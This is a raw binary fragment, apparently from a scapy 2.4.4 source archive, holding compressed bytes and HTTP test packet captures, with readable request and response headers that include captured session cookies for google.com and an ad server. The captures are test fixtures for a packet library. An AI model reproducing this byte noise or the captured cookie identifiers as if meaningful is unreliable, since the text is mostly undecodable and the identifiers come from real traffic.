òIX–8ÂM/AÉ^]ü®ysŠf¶xd®Ñ?£vË„ÕÓ«r*ôÕ«€öO_ýr‰…îŒwSèSçüÙÃ{ß\(]QëâDrží*-udP\®O[%Hƒ†Ÿ~:EÏ3¡ðT.ÚWz:„{ÀâÜÅ¢HÛÕUåáe ƒe ÑBmr’&af76‡™"DxIç·_v^qúóUÓ⟭âuJf¨­¯R]Mw1ܘH2³OQJ¦‰ì•_ðç[­É²ÿ]¿ÿBÔÿ¹‚>¼¨è$>I®}Æ©7Ï?ƒ9ô¢n¢/¡í7ç¸êênìv¹œ’¤KÄ1‘V²ÆMà F*;NâÖ¡ªVøõyÔ$«¦ŸÖ]süT{±ZÊäÕ‡½f }±{¶™…¡Z¹Š¸Y¤f&ÉäÎ{Ú $=W,Æ4·C“G³éåíäLدR¬³jÀv=° ÷+rCw|öoéV•ÁV¨ë\É›ª®u f)¹3…¯ëžÀý4b‰Nï®YÚ|‰)©ÿö%å”âL™‰¨ÿ4Q£^õúÕÇÈ<¿³>E3UO[gIùY/‚Ý&7i¤S·Åe±°•Á-ÌþTOhË€'T·szL´‘vK-^ÎÒc$iç[‘¾GHzök˜Âdïg˜<¿ö&ºãßa‹ÄPL*FïûcAàzጙè…?÷4M±˜(Û¬©’¸‡Òg"Ý$îSAèZdÎxž½Þ\[¸dlk¨þzÛÀïœLB3-ê*)„e J k7¿\¾7ò{¤ýÏï=‰®a¨+‰‚dü¬úÊ{à ¢€Âm¼Å8Ï’‡,¢ÁÖ9ßWæ"lÑAUB¸º3wñ WH¶$œÛZéҞݱ0kôeEºt–ô:åaˆ4Î2ÕÌTC’¢ ÷Ûm´ qÓ\™$ȸ'UDŸø'- …šèó?â×LZøî½Jé­AMƒƒG¹”.%Iù J˜DÄÐUd¬O×Þθm6üPX`_zÝ~×fdÕ-½Hµ£ŠB1žJêgdÅ_ö~RÔ>P·‚])Œ²²YNühH”©÷kDŒç{§l×(s¯°\Fäß ƒýU‘vo¡ÃMüX1B¥Ó½:¨1RwMi ý˜-Fv†a •ÛE‘ÂalMsÁË~ªýç2¡w!äC¢r"Ì>÷ÿãPé‹=ú¦NÏÈ’¬<Ìöº*Š'!myÔÔ;¶®{è2ëܬ›ÝÓçãrþe_ˆ=¡Ðªœ=þññg×oœCRi¨à­Ó5†)äík_1<< ýÅ?&`L=ýùžÛ ’HŒ3I¨B'M6Íü §êë·DD3«ªi©-†.N ÿ÷ÁM¿úåÇ“ýw?»ÅD1ð¤Ý –|ÅjšÈâÄ©„Ò†oíO\<Mv×î&,ÖÌùšDmŠìÇ'Ù(³ÙwÕE%Ïkw4 hOE•Q][¤Æ$§×Rd£Îæ# “x wKÖFUËàñ>|;ï<ÛÄ„ÿ½>…ÊŽ<¡˜}PõÖŠJ8‚§e6óñ5Ä.¯ì³°ò€Wx¸íšû]À•N¥ä»ìaAåL½ B©pÍ9þ¯;Ê8}eP1XГÖí˜A²[ÐrŠ„>xke½TÚ¶˜"ôMØåŽÒIÜÓýð餞"Õ@p áíö¯£äBö#}–)ER—}“£H—s &®ˆb„“sdï.÷VNÜò[ßuߟ.EŒïä“~vûó_áHןa´âߌX›»ãÃ#‹°’E±ì&ØÔw[}ì_‘Í¥D;X;¯ÿl*ÞŒ›#󮜄"o¤¾IV¶oA!ßšïòáè'.Ž:®Cu$)à½%8þvð_-èýîòZkš5$G]±•ºt_#ÞÊ|ôí ¢:!i/!s_ܲøfoçüMÇ]~×1ÅOc‹†ö#Ÿqgìf,}€c*7WøUšï5aìÕé7ŽKÉ8ÏBÚ~ÖNå[™¨_ñÓQˆ,÷)3®AÊÝ·$ñj}=7ôj¹pO·äjå\ &,|pÇáªNràÍ>>sÑwøø°“sˆØT}g^îY_«ÊîÉ4r£Ã_Eì &Á!¹n•äaÒMHŸçþiÈ8.D6ƒÂJ:”·Œ¡ê ³c:-¿$¢?䆕¼ßœ¸>†^xa³EYçM@Ý—ë›”¬³œ­„Ü#ýQÚ{Üë3œÂ-9£V;­0kT•´æ{â±™‚>î÷Ö÷ÊÖ9°úµG!îü-‘sʦNã-l,tÕbÁ¨xo~»-tG-…uF[(²îËwl´!©…}ºå+TÀ|šìªNI¦õæ;¹V”òæ&SÓvpFmù{®|ÕÈ}'R³Šz{ªÿ™MáÊß$ó]ìaz5vp—@\Õ˜× ÜŸ˜²$„yø µmÌÌxó‘sªg}– v³ï[y«“=à]v +ÿVÚú—ùd_†_øÀà' ¹ŽÇÞÞëæÃ,»¥¬‘œ¼Ó\;@·†æƒ"Fº%Ä/¶°ŒoHT½}¦dM/ É­Ü#î=í;/¦öM8Ûð͈8ª`^È©¼þXnäjŒ¸AñÃ;Ë’XPߤ²ô §a0Ykyu®|"]ª5‚cµq³LF‚ƒÉNã/abz“ŸaòJé·‡èk¿ÃÄù9‡SïÍhë?üæi¦~ûˆšþ½¯Qòôû•n–¹ÖÍMpÿë¶În‡q°Få,½zä#•™»ê€pÆÍ+šæ Ÿ3ún»»2\È“·(WØ3]ûÔpŸNF7å}Ÿ®4Ì’±@z,H­¢qY¹eöFí£k§|L®¿Z?ú=ïôWÿ§½3‡º{ÿø ”0²TScW‘Ⱦ3‰ Éš5KÙÆ–É>I¶²+ûš${ÈZRvY*dW !d7Ão–|OO=žêñýþ®ßu}ÿ˜Ë9s]3>sŸû¼î÷9çþÜŸ.BkKFsQ¯”‹{|psª«[2Û§V* Mr“ ª gUõ=7àkÜßtìw‡¼×ÜSº$õuh@àáCÁóGˆ“éSŒ!N‡,§x"V?¯Þfζ^ÿbÐϲ_ó.èG¾*†ÎÝ©òX:vŽ]¿8OÇjóü.Q_ã¹ E¾:)ÉŪ“a¨VY¹šµÇTì/ߪ/ÏÚÜpG~œ®t»[o®¶ýÜ›¼‘ó’}ôÙ™oºÐ ÔÍrOÄEŸœ³Oð›r¥EŒÑw”YÉ>BÞT^{V?Ú-@íâ&ãŽ\•bÃÃäØËs÷âôÍ¥ïõMœ&Vßä²àõMšÃމ…f8$-‹¤8Ím$}îýФœL­V{äiyMMÕl€&-À`~†(ñÝK©>fÈHÙPó4“êyfôéÑü¨ä(|šf$R&±å±5-Ö-¸ë1X„ë7yÆÑ¡xïÀ¼ƒOšÅt0:ïŠöE(!¶J 6{ÛÄóGœº´%·ž°àš‘ ¬¶òõGëHçšåƒÊãÙyIãÅ(š7U•Z]åE½%àÞ‘™$eÉà±ÙsÄý”㤊ÈSa’YûúÜ Z’Š4ëŽíRm:˜Op«Y+óm=WõÝšy]ÔgïOjè&¥ :ä2³y¶òQ£‰É·7…×õ¥Àœ9I¡`fþÖèoº@•×_ØÏÃ/Î-mœp¨Xn×Ó¨m‚Bmü=Õˆ¡¼ _ £ Þ‡E¤V!ÎB>¸TG|Ö£v÷cSNŒU}.}B¸&~‹.÷Ö¥zƒ\Ó–¾§°š·ß¾BÏ‘ü^ÈfÑf>inü$Y»L%º§‘ÃkäèÎÄ@MtÃÉwx¯ÞNÎÉþõŒÚ¢ËÇ'¶:•Â\Fe'¤Ë÷· NF©/ê¹Y›„‡ýÌAŽC*äReû.;†L˜‘Ué»ÈØŸßUë@3븕n0)e‘äûƒœ°Ifp\¾Y¦C†‰-˜ŒÃa¸&5.â–D(êäá–‡qÄ; 9ÖK VÂ|R¶-€.¢àB1ùªé~¿þ#ˆCû MÞvmË©öãÂLvü/Þ>Fü³EµƒBN†6{s#ãñ¨LÔDðöŽ ,9ÍÄœâî}øë[lƾuÉc¨vg×ù@YÀ4ëÚ‚(Å?‰ý¤:N ³ÃùŽÇ’a¯ALÇhhÞò ØójÑš±ñ|:+Ä*Êñ¼.Ü]<öe}I¸âOØ $6Aâ´‡$Ýï‘”¤=2ȈG’ÂÙ a8$-}‹¤$ým$uû}EÒ/ %&Jx;ãçÅâ#‹‘‚n8YÞðTsMîì\Õ œ¸¶W¢êù®¨¥vϘôõƒ ›fèEdQ?„qùrް9˜5ð 7l¯j©RÂÁ•)â‚•'ä¥Zkª§cLPü2ý±VÆ29:”ë¯1ñk|ØMpžÄ ) )£’%.Ù—RìÊ[€©ÒF>çâ,m3UnÞvˆÓѶ¨fìmZÿlgCÉóÉ}¡Ì‡§®ߎbc"m:i¤Ç+XÅ¥qÒOíáuÊëä2É?ZÀhpgÙÂŠí‰ ¤ « jÒ=VãÜÅÀ àмróZ&YÇö¾Ý"¹š}8q©5Œ±¡ÝÕÀ"¹¦šìç9@“@ÌÔÆÌ¡¦GOìó«LcÝprØç0$•b …‘¦éðÙ(ý#ÏɉРԤ3¶L)`‚E²AÇ¡ ‘BŒ“ÔžNekв †¸×“ÙçWé£ìGö%›–þÅÙö‘geëU Ä4Ùˆl÷‹:E½àŒ@fzÊÙ)ö´/Uøs ¬'ÑaËâü›”9ËÏÄýð^œÐÆ!‡\·\ƘŠ%ºPÛ‡=|ˆQdüB_Rÿ ÷jÒêŒâ‡(Hš—9/1‡»ônBÀ‘FqRÿ,f¼”¸›î¾rB5áDpŸi%ªö©-Ú—$ÔŽH"Ã!Iç{$¥™`UÒ}Z<’Îòì˜XhŽCÒâ·HJ3ÙFÈ{û”kTÂ7âÆA›Äñ-•}«°{y,ÑE¦~Ý+zruói7ü»¥ƒãcÌ tWLüR´ëÞÜKíßÅå×v?Âû Ê’ÿè‰[ž|ÄõÝ“(}9Iw^¯½lôm-5TïþÁ>l¯®’‡].ë莪ë³*Mf±Ø"ú.f‡û2³útkÍ-é³DÔ=…VAøŸ9Ç3S‘B¿Î¸ÿ—ûV}&ºÆ®Óå'-{¼ŠøÙ8HB ÍåBúg˜OvMªZ&†êèy%é[ÕèÝ-úÍ%ã<(MÕ»ONßÂ6sì9qZaŸ5Wnÿú¡Ö3÷ç Z—PNÖšëN ðÒ”ÚVë;eh p“KÈoOþS_š/ ¿ÍSBµ(ä“ÎúLnÚú*§Q`^¤Ä«Áñ+~ûMû íþÊ—°ÝûñCÕûýbþjrÜïѺ÷fô™¥Ð‰hð2¯¢“ê8v÷ë6¾ckdâBfÉ­¯[kܾ6ªà# ®i€W‹EÖtðsئf9Îõö”\ÏÖËp/õNeŸˆÙ`Øôð ĉ˜Ìf–:£\]Dìæ¦Š­æg~Ó. ݡ.’çÔÖ4Ü^•™mÌâ.]``C ª"O_°È¥‚Þˆî\{ø¡ÜÀ§ƒ¡×5ëÏ/0ÐÍOÆ®çJç?Øzq$ü”µ(ß,ýnç+’ÈvL,ÜC’ö÷Hʰª¤Ôx$ÍWî„$ ’¾|‹¤ «m$8|EÒ×ñêV}©é§qëÀ´½‹Ú5£øø»qy•iú°À)ùÐh ­´+—ÑmfŸ ׿¾öÑlÊm¥“†™œ#rT¨!ΘÜ4ÄE1jÒü-xfSmfž?½cxnÄÀ½bu¤†F¢ùêßU÷iXâDœïòŠ^í{? ?..$¹8x o9ôk=ļˡL‡¬Ä‡ƒ1Ö¦úI…Ú¦ÌfaÜú©Dä—¤ªÌáa þWžþoFðO¦ ç49]`ïŠYQ=rè&èÝ|Ú·ìü 4&**ÂìQœ8$ú÷Õô3ú‡*<\¾ær5fVñô»ºÎ¿×©ÓíÊ©bi·éÛ}ð=:vvvP_Oa:­pN:Ù("|“ýœo”GR'Bý~-«±ä÷ýÏÃ¥ïM«þšÃÜs—̼´4|î†òÇüÖR ‰w/¹{_^¨w–|žÎS%Hê£ØU{ª@¢ôÂ` õR¥¿¯}øx"?8ødî^#$e#àÖÉýtñÇýµƒžuPŒÈÌw̓xg¯‰|¬§Ògî.±7¹›Ä•e¸š Ç:2J­•¾Cú]“@\DI ÊÜYY]RüÂÑõkª:w Ð,vúíÕ¶Å…Yèì‹©BÆ9ïéwpï hÜFâ UÚÕ!®o‰ˆGÒ~¿½;!‰‡$­ï‘”å€UI‰$x$ÅíXÖч¤…o‘”å°$º¯Hú«ùù©e¦x]á³î•V¾2èÛ/e¸È€ühñ±C·5y÷–?ØO`o>#Lu¹mw©-|ùðeµ¿©¥£ý«wŸÄõTFlN¡[€¼ØÈèÑí[>rþþ>¬Æ»‹&YS'ó!oŒÒÛ=¡¸àå. ’\£´‰M«3Lú^#ŸòýÉj©ªUeëõ¹Xí¦üžjÐL,ØÜ£o4…ÜÇ„T”ÓxVº´ˆc× óø KÀâ¶6³÷o/Kgo²¯žÖF…2=e(SþpÇÝy…ýC;çOŠúüú!5sc‡ƒ‘p€éõ÷˜˜Ç7;»®û|ªn§œõð ¸0é\.!¢m˜_ 9wÜ-¼÷§kÊ]¬u­ÞP QF«ôÓI­µÁ“È£Eú-ÍòÇZëÇìÊžP4îãÄ—p“*šÔÃ=#ˆˆÉÕqï€ããܾeÎ+Â{7Ãã„c–Šzc‡º§œNÏŽHؼ˜E`–9k°žâÇË®¯”••Éá6I°É¿\Uü ›*˜ƒPïì" @¬˜ÁfˆC ¬ú£O"¤£§¢×¬v|pbõr?˜Ò6”ßf$\²Ím.8œGR†ÆÙ.GkÆv`–$¾›ûwBIšß#)Ï«’b‰ðHÊÚ¿’¬pHšÿIy®ÛHZUýŠ¤Ô B£áDÔÆnä§~bésn2Þ³ßoQ+E±®9Û8Æ7(<ƪ²ütÞ©Þ0J{ž:‰^žöÇèƒÏ‘i5güB‘äq¼h£r§r`ÖÉk%ÙÄ,>'@Z%vÃr&Ñ;^?ˆÄ(7uÑÐÞÝvmN]ê;¾ze‹³²©ž|![€nz'»´f‡ü‘3UCÞ——Ýõù;…ÿ~ê/ª°M¤\,ZŸnQ¼6çûÖd 2\‰î{6†ìq ã_íå}]ªøÃ}±ºYRUvO¯mòVº<oÛS{å‚soE¥è¬ñðkq’]ØÇ}ü ¶L v24ÝI]RD¶=§s^퇟îŽå®~¼¸ÉMMÊ[nb"\@ýw1"Ó[ãrf{¸V7™ÄÇÂM LpX/æ?—9¢ºC´t$àÀ‚»+€Œ2®Cü—Ÿw©‘?|èàÂY„ÅUcaR;Ï!^‘ÃɹiÜÔûé®<žCq+9õãQöØH ԅƸ¿©h×=óÔÅ…Þ_v†=©ѶœpLàjûºsU7ØÝ‰Ð°o§uà3‘w EºŠ+ȲÅ0AÂ%-óöiUúƒ»í 㞉ö^sê™ 'q^×gsh›„‚Y¢N5ýíJâ]†n4gѰÚqp€ô¼7IjY;=éY™‡$ï‘TˆÀª¤¨U<’L(wLr´Æ!iî[$"¶‘t~ì+’z–Öfô%DE*ú,O`b‰Õ`ÃnFxìprXfĨf×2êæ—[cœiE“œóHŸiƒÐ’H£  ü¶ ;âÐdL’æm\‰BÏŠuéðŠ÷Ìfcæ†nÉôd2gTTfãÛ$ØLëï<Hã`¡Ý'Ýb‚ùúù°ðËþFÖs®±a®CÕ*R ÑÄô²ƒÿžì3Ñeµ˜~Ä„1b¥Þ;QËÍ+›,ËkÉj1f10ÃÁ„½©9{æÀÛaÌ2("hœìM¤õ_Äöt<1¹MNyﮤíËt¸ÉÈ e»)# ììžá2z\z«Ÿ&ZV§Œ_%5;pö®ão>=×ö“b¥?täšíʇº ´Zi¿¬™Ú J><è™”O/+ðš4Sø¹½S”Öù¶ò»îKOÕ•lß·ðI÷l\†½/^¼à;Gä‘Î{.K¢ ú oZD°Y Ô­µ(&¤î-Ð Ë[6Py“Dj>¹ÊZçÖ2ë4g’æ5óç5ίI3R†ü^$Kù€(<™3‰‹‚›ÆT'¢O/Ko">ùWL§sù>L®7jóŽßHhé¤@ÞÕë  A90‘÷â#}7½$v“¶ßfñ²ÕAÖzoæUX5w€€hzö‚Sþ-ª@ý:®ö¢¦ðH’Qî„$ I¿GR‰?V%…-á‘äïE¹’®âôù[$•øo#‰Ëy; /ð¬YÔ±—˜V0ƒöÐ>sò¹£JlËã>×ã8mhp>M^n¤ýý(K.D­_T'9——QÅ€ Bem¶,Áà*HÄ}'ÛÚ°À5I1è•ßñþ?ßtì8ð‚=mµ9Fè˜kyHØÎÇ–¶Ÿ" ªÆh¢¶ÚÃ÷,r,ß” üt\tÖ'¡¥lÿSuÎ0¢¹”ÑxTÕmÞÅpïF±‰dãp~ËžGèòK¾åà€wœñÓ•§^¤«•8Ö”VLW‚çϯìÇwæ}Ý¢ Âõß<ÏõP+[´m¨ÑôqCÊùâºå)5­P™rò—.³’YÚµ´‘Mrcp²[b‘J€Z*…Ôø²<74ì|§I)-_Jè5úÁ¥uRé$å@=@l .2RÃÁÛê¿Ãµ¿<£8ò¸`›ËÇLr[„~æñðæÃí¢f 爄c¦S\[d= ¢®¡œ b 'Ë+xº[†„cl{62uIú ¡ïC­‹–¹¥#NÏq4Êç ôƒ¼«y)a©¶Rl£Ãø– »YAG^oók»z8ÝWtŒ O¶Œõ:ðLÝuOµ¤Mh¾9ÜÛ4·Ri;Ð9®°¥ Û±ýYŸÄ­É,±Ùh¹¬²ãò™= õBÇ=(F2úÞÍlD]ø,lkòýõÇkÿø†v»ÏFZ'ªØ½çŸ™˜u7/Él‚%ºÑîy§ÿØ ^õJ[ý¼:þä´¢À»`>~d’Òø5|I887ýi ŽrÒ‹)ä‡Nfy¥„%Ü¥pJF®MÏäÐ0ͳÚU?°vœt4Y¿'E^Ã’;ò#îã‘dÏÜ IT8$©¤Š¬Jº= 1ßâÞ¾c^’ I³ß"©"dI[j_‘´S(ÂLAëìÊ»FšFg%CYd’›0Iét½Pjžo®jì@MoH*Eƒ?ÅmˆþC†ÜäÓõè4ºDISÈQ¸&£eX“Y/ObÔòVƒÇ%þÝýâ‡‚ÕØ5jÅÊÏÈDIM‰É4›ãa?ÝÍ>â%Ô€øÌ¬®2CP‡FÆÅÈœx{`Å«íõ+‘ö}¨â«µ¬ržÀ:ˆO›­á‹ï¸Ãèü ‚ àúŒ/kNªa®«/!͇Öüðã®hÁÓ_a2Ïö ¤*(jȇèsÌ@êBCÞ1-’oÌF‘ösÊ¿”Òäè¾’žûüêûýžà¶z$§*ÝÛĦguø-¾´ýae´X€ øª›e|SÓ$iS…Kšëî‰OÄ•^P².)îF¼ÿùn!»»ñC…Å$1»2Â5ˆËX]qeFŠgã«VŽÐÅ ).îiMn%ÖÄå´L£€oX$763OÒ§s§q§´TÞqaÏaß0}^9+6¶bnÚçQm}—ÎÿÊô™µG ÒñtÈBˆ¡ÕÂp2¿úÁ‡íX+Ÿ„ýh§fe3¶Ï1èÔžÜT"j 3«ô|JCíP8t Ì0yYü,FsLî 0új߬•¨EH‡{¸¥Vit—[Λ°éÌÎõbaéصæÑ¹Q¤”Šz{Ü¿ÊÎüÛœö]dš9éC‘½{ÔTU/NT^}oE|™œj%º›ÙÜÎäQº‘hUÍ6€Ü5äQÖ~¡O´z –#\\‘ \©P¡AIc휨ɼ'½ž‚‚ “’×;ÂÄ“™oaRug&…ç¿ÂA$Ÿ;ô0€¹~Öq$¿Á½ãò)~ÙA39¹¹+ÐOm†.údî‚‚…2îò}¿C°}ÄB˜gª1eï®-ë3×<Lñœu/n€?K©m•ÿÀµ¸DÃop ‹›œ‘[ ò÷Ôä_¨AÕRAìuQÒLz=Î,’œn½µ0ݸXŽÎ”T™½µ|D®z`퉄ým츌ð`ľëfʺ §@*ªçääÔ¨iÏݼe£hðËh«¸ÉêÚ8·IdW+Ø÷„Q)jÕbÍfkÍÍÛèã ,ýÒù”]lS¶ƒ¬‰¢¶:he qŵڱèA7„b—Ú;þ–¹O«°Lˆñ”ÃHµð~j*Xþ¡»jÒ3Bá¨C™°/!p4þiìõ=˜`ÇGÙš[d_»˜žßÖÙY-=î]І\¿fþa¤Ù€mÊÃ\i„T×f+$¬„âð¼/[è•XöŒœÏx(9yóÚK´bºJps®‚ Oý»üOwµšiOƒ¨Ä¶œ(¶‚N«ÆuÖ6ÞpäF÷äEuÆùxï£aµ‚qOh0öwõð~UøÒÿÉ)÷÷U\å ¾¶6³sºÄ‘€Å6) ¸=úâ*˜!¸;hq$W0—¸Ë» qhXů–Rè"²ðoŒÞ”´ú—ÑVöT&&ê Î?šÚ›Ö¦?llq‹[•iA/|;ÚbâASÆ=‚=ô/¦x+…nÐê,Õ%óoœ°‹¹:Åc:z=ÆãùÔ#°î1Jä#³¼½3‡4ºŒ‹oÛŠ ©J1“sØ;_ØÙ3c“VRú޳<>p¨×\wïÞë¤LÓÏÓÎW°ý»LŒ‡ Ë›«'ÀéµïõÍ‹¬¾ñÄë“YR@÷ú3’ˆîëÚájL_ûI/¶‘Ã| ¿° Ù¯¹ˆâšÓ ÝC/®C 8›ýAÄòû<ê‹‚[ÝŽ(ÚJg(©Æê¬wÎ ‚²^õ¹šè´É¯¡ðÖYªv×u[;§TUSv£œsõÖx ¤hq¨•Ñû}^K€¹Ï¬Á/û…z÷t ªy~ Pg夔R¸¤³ö<¾pŠ£€q8²“¨ß÷§e}(šËrûÙ`f  ³`…¤½±ˆì÷µBC1 ‰Àªâ*-L+Œ¯£ƒ%F;Ÿ†¥y‡u>+áë˜&üª&ÅÅ•Fj±…fÑRR¼ÙÚnÿ°Jùÿ]7ûbÿ€2‡€Ó€Cí¦l#%q#óÀiWsòÈ0V›Æ»³¬Ô.Äh™A'•”¾65" þ¡ö±ccò¤Á«¨|­ï\Â]EN"(u¼šÎ—FÖUmx— 3ZÉ¢ÏFæ$Ñh”eE½ ëW FÔôć6u!×S­[­9ÜêŠùFÔuóBoi×À5µá£±1Ž."rú0úÑ# ¶×]¸.&~Ú¼m!s(g…â@{—OÏ@nsnRÍ­>Š:)É‘$þëSýu}Ÿ0?;úþlff¶cjҗ˹¡wf|QSh®UeµEOú ™ŒsDùñ&<ëÁ¦¼<SG´dzÇÁ#§“Õë3ÈmvÇ8‘ôù³LþçÿÁVžµŸI¦ÄÜëÏ3˜XK×;ƒ?Ô};ƒ«'·g°ð_þÿãÿ™û_æþ—¹ÿwÌ]Ã0wû‰!ßi/ejœö’ý^{ÕºNØ Å?1Ëaì{Øo$š'ˆc¾MüGÏ áÒuÀR|jú[Š×Ú¦¸¨€Yâ/îÔüŽy4¸‹SùÁÅU1wÝø3ø_Ÿscapy-2.4.4/test/pcaps/http_compressed-brotli.pcap000066400000000000000000000006521372370053500222760ustar00rootroot00000000000000Ôò¡ÿ¶¨\  ‚‚RTaªþ>Etû@@¦À¨z!À¨zPËj"!ËÝ?€š€ãsÜ Ãr߸uÎ%GHTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sat, 06 Apr 2019 14:24:04 GMT Content-Type: text/plain Content-Length: 52 Last-Modified: Sat, 06 Apr 2019 14:00:03 GMT Connection: keep-alive ETag: "5ca8b0e3-34" Content-Encoding: br Accept-Ranges: bytes AàÅmìwV÷µ‹RHàöo—0Ð@$¸›Û ô\’LÄo‰X÷K÷KoŒ.,(dscapy-2.4.4/test/pcaps/http_compressed.pcap000066400000000000000000000031121372370053500207770ustar00rootroot00000000000000Ôò¡fܽ\ØA   vþ(ÐP™VÝùEý72@€À¨w©<™=üºPJ?—r¼fP‰GET /spx?dxver=4.0.0&shaid=10182&tdr=&plh=http%3A%2F%2Fwww.thinkstockphotos.fr%2F%3Fcountrycode%3DFRA%23&cb=970106089427003 HTTP/1.1 Host: dx.steelhousemedia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.thinkstockphotos.fr/?countrycode=FRA Connection: keep-alive Cookie: guid=9f463589-2999-47bc-9619-0905be785294 fܽ\Í~ <<ÐP™VÝù vþ(E(E‰y{ˆ¬ÙÆÀ¨wPü¼Qˆßáv”PóÜ¡fܽ\ÎÉ »»ÐP™VÝù vþ(E­Eywÿ¬ÙÆÀ¨wPü¼Qˆßáv”Pó”HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Mon, 22 Apr 2019 15:23:19 GMT Expires: Mon, 22 Apr 2019 15:23:19 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Content-Encoding: gzip Server: cafe Content-Length: 386 X-XSS-Protection: 0 ‹ÿEQ]oÛ0 ü+š’§š–?三2`I èÚ¢p1ì©P-Õ*[†¥ØKý¨EŽ:RòDí¾ïõ߇ÒùÞ‡§·¿$ºø“Žõ‘ü¬ß’å?9‰QVscapy-2.4.4/test/pcaps/http_content_length.pcap000066400000000000000000000175761372370053500216710ustar00rootroot00000000000000Ôò¡ÿÿÑ$;Lup>>%’›!ɘÂE0Æ×@€‰‹ Bù\hSúP% %9pÿÿ:_ìÒ$;LþL>>!ɘÂ%’›E0ÍÐ0“Bù\h PSúÓ”% %:pX69Ò$;L#M66%’›!ɘÂE(ÆÙ@€‰‘ Bù\hSúP% %:Ó”PÿÿxµÒ$;L¡M,,%’›!ɘÂEÆÚ@€‡š Bù\hSúP% %:Ó”PÿÿjGET / HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Host: www.google.com Connection: Keep-Alive Cookie: PREF=ID=1c04fd0f4d55e50e:U=7044fe833ebcf6ff:TM=1278369790:LM=1278369793:S=fzsLIaqbDZHLMwH_; NID=36=eBrL-shp5eWYPuFnevNwMD6pb3hkwNxpftCf2MtYxnFK-xDpZaDCv_EdDDhUryGcbVI2OfvNda5G-xTe3LDi-z0z9FI_-vPhPEhh7LTBCPcezvIaP-yDe0Oo1Ple7VQw Ò$;LÁl<<!ɘÂ%’›E(ÍÑ0šBù\h PSúÓ”% '0P ]ŸÒ$;L;¬""!ɘÂ%’›EÍÒ0 ­Bù\h PSúÓ”% '0P f.HTTP/1.1 200 OK Date: Mon, 12 Jul 2010 14:23:10 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws Content-Length: 5012 X-XSS-Protection: 1; mode=block ‹ÿ­ZiWã¸Òþ>¿ÂmÞñà8;„3'ì4¡Ù—¦oßÙ–m%Þ°”„òßß’—Ä0=çÌåt;–TzT*•j‘¼óÅ 6 ±à0ÏÝÝIŸ™»;fªYXÂÏC2ÒD#ðöY‰Ó‹BZÒD†_X™wTÃAÅL»»=*µÄÝF˜‹wƒÀvñN9)íP#"!Ûß ÆŠ7jÓÁái[¼%w[·g£ê©y±ÙïXWžùØè\‰òàðñš«[µæ¶\mU7[r­¾ÕÜ”kÍí<[[­ø¹-ךµzžõzž ´6›µmÀØ¿9mOñ¿DÁäs.ñKHþüLöܶ5ô F¿(Mgòà¤Û±/ÊŒx8ßa6Œü¢ÇÂbXRlÌn¦(Íd7°¤ºlʆ4¡H@'?õe¬%’—m +®![ü‡¨H |EA¤ù« 3yCz1-Ç€‰]̰`ÿ´~Í$Iå¿R Íx{Ë6ö{µJã/º¢‘‚j²¡oˆàÄ Þ^_à%aAa1ß06 ¿ÊѬ*LÄhÿü%»¤]‘oƒÀÕ±ËÚÓÙLýcIyêkâëN(ªË 8¢Ú”O£=…¾”¡ˆµWJ `Y4™.„LK+@Éqä#·PxW¡„ Î[uf f8Å!,Ú2DŸF¬7 ®«UÕ?ø*ôìþØÕÜ:€$ÕL¤¼~h“•Òµ˜Jq"l)‡_.¬¢¸&J*±Šú®VÉ4GF‡:eñí¢¾Q ËÅÿ¾¤g­¬0LYI…ZBÓ´RµPø’ÐñµqŠÿoszišàG8t‘‹b™bÎ_âšW&½­Pûù߯?˶,ŠRºÔ0œ(ªPÍÒ·Ê,?åfü¥˜Š, ¢Î\Ì©T€uš,U0dEÞOnV*ÒBx•P(¤;åÔÊìP6q±@LÍŽßvõÀœL=ÙÄoWfkv`OCdš ¶v=|ªxTfÌœºÄÇ%Ûam¥…=u¦ØÈèy»¶êVø¢Î¬ òRØ’0xíZ…7ðñdfÊHeÅ™Z`5Kòˆ;i£ˆ W¦È§%Š#bÍ ÝÜ j¯Õ7 5&¥äÇH3å9k¬TŒ™Â(g$c½Â+¦°EM•€ÌE!Åíìe¦X®€ÚÀõ ÃØÚ2fØKØ'Ñ×Lå’jû0%äΗ²˜.ž©ðžiuyÒJ $5Â#rKÈ%¶ßNšÔñÃ![’ñÀ`| ]ŽÅKõébÞÕ&H0³Òjbï ñB°CÈgé¸É€s1›ÐcLLæ´Ñj¬Xn0n%º‹ÕdÅud ì(úf{Ͳ,^«£H^³‡0§< Ò$;L]¬""!ɘÂ%’›EÍÓ0 ¬Bù\h PSúÓ”í% '0P •vx‰a» Xðt›Âˆµ]l±ŒÙZ ,E˺§ÚZBP¹óLÅñ® dº¢ÐÍl5³aiàSX3¶Í-«šSŽ*× è4MÇ®¨a@ ß^m¤C§!Ã*Ǩ5梩V*_9ï”ä}ŸÉj˜³ñlc¡—°IÛ!¦‰}õµ›>Be–€Ç³XÌ@]()×Ãd:Wøôj:Â[y¤*Gªf»+Jv$(C\ͧPŸ¾ Ú˜®65 Ã4ië`bsÕàz"ð^jL•t‹'db#ˆb[ *ïãŒÁt½xÕ Å#¡¸#Öãg#·!óZÓµ®{K²å›:íbÎ÷s§,6J]ÇD›ÎÔôýeá{ÁgKÓŒä'VˆùKû •¿2[k!6½Ê=Ö*Ü|YòIÒ»ØköÎm‘·ª’VZg¸ƒ?–lËŽìÊž¬Ë¾4…á ¨z*„ÇTšâ 5qXØ7ß]Ÿî0}ˆÞÞ05Pˆe#žíÃèñÍŸä Æ"h1æA‹ñ7AË*ÄpçZ(è9WZ‘7¥/šX Ä®i¢¤Ï_7t–Ç+?Åò0rÿ¢H»ÁõÉàù Æ‘QÑ“à}„“‚/ÉÖ_b(¡+*Z 